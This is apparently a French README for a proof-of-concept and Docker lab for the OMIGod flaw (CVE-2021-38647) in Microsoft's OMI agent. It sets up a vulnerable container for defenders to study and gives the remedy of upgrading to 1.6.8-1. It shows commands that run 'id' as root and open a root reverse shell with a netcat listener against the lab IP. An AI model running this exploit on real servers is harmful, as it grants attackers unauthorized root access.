
OMIGod / CVE-2021-38647 POC et environnement de démonstration
Open Management Infrastructure (OMI, anciennement connu sous le nom de NanoWBEM) est un serveur de gestion open source Common Interface Model (CMI) développé par Microsoft et The Open Group. OMI est un agent logiciel présent sur la plupart des VM Linux d'Azure, mais beaucoup ignorent sa présence.
Le 14 septembre, l'équipe Wiz Research a publié un article détaillant quatre vulnérabilités dans OMI. Ces vulnérabilités sont décrites comme faciles à exploiter et peuvent permettre à des attaquants d'exécuter du code arbitraire à distance et d'élever leurs privilèges jusqu'à root avec une seule requête.
CVE-2021-38647 est une vulnérabilité RCE non authentifiée exploitée en envoyant une requête HTTP spécialement conçue. CVE-2021-38647 permet à un attaquant d'exécuter des commandes en tant qu'utilisateur de l'agent OMI, normalement root.
Les agents OMI sont largement utilisés sur les serveurs Linux Azure lorsque ces services sont en service :
Selon Microsoft, la plupart des services Azure qui utilisent OMI le déploient sans exposer le port HTTP/S.
Le but de ce projet est de créer un environnement de démonstration facilement reproductible afin que les Blue teams puissent plus facilement trouver des IoC. Pour atteindre cet objectif, je crée une image Docker personnalisée configurée avec la version vulnérable d'OMI.
Selon votre configuration, cela peut nécessiter sudo.
# Building the docker container
docker build . -t omi-god
# Running it
docker run --name=omi-god -it omi-god
Vous aurez maintenant un terminal root pour le conteneur Docker. Vous pouvez obtenir l'adresse IP du conteneur Docker avec la commande :
# Add it to clipboard
docker inspect omi-god | jq ".[0].NetworkSettings.Networks.bridge.IPAddress" | cut -d\" -f2 | xclip -selection clipboard
# Show it in terminal
docker inspect omi-god | jq ".[0].NetworkSettings.Networks.bridge.IPAddress" | cut -d\" -f2
Une fois ceci configuré, vous pouvez essayer d'exécuter n'importe quel PoC. Pour exécuter celui de ce projet, lancez les commandes suivantes :
# Execute any command as root
python3 omigod.py -t 172.17.0.2 -c id
-> uid=0(root) gid=0(root) groups=0(root)
# Get a reverse shell as root on the server
python3 omigod.py -t 172.17.0.2 -r -l 172.17.0.1 -p 4444 & nc -lnvp 4444
La vidéo d'IppSec concernant cette exploitation et la mise en place d'un environnement similaire - https://www.youtube.com/watch?v=TXqi1BKtcyM L'environnement mis en place dans ce projet est basé sur la vidéo d'IppSec.
PoC d'horizon3ai - https://github.com/horizon3ai/CVE-2021-38647 Le PoC de ce projet est basé sur le PoC d'horizon3ai.
Pour plus de détails, consultez le travail des chercheurs d'origine : https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure
Toutes les versions d'OMI inférieures à v1.6.8-1 sont vulnérables.
Une version corrigée a été publiée pour remédier à cette exploitation. Mettez à jour et assurez-vous que la version est 1.6.8.1 ou supérieure.
Ce logiciel a été créé uniquement à des fins de recherche académique et pour le développement de techniques défensives efficaces, et n'est pas destiné à être utilisé pour attaquer des systèmes, sauf autorisation explicite. Les mainteneurs du projet ne sont pas responsables de l'utilisation abusive du logiciel. Utilisez-le de manière responsable.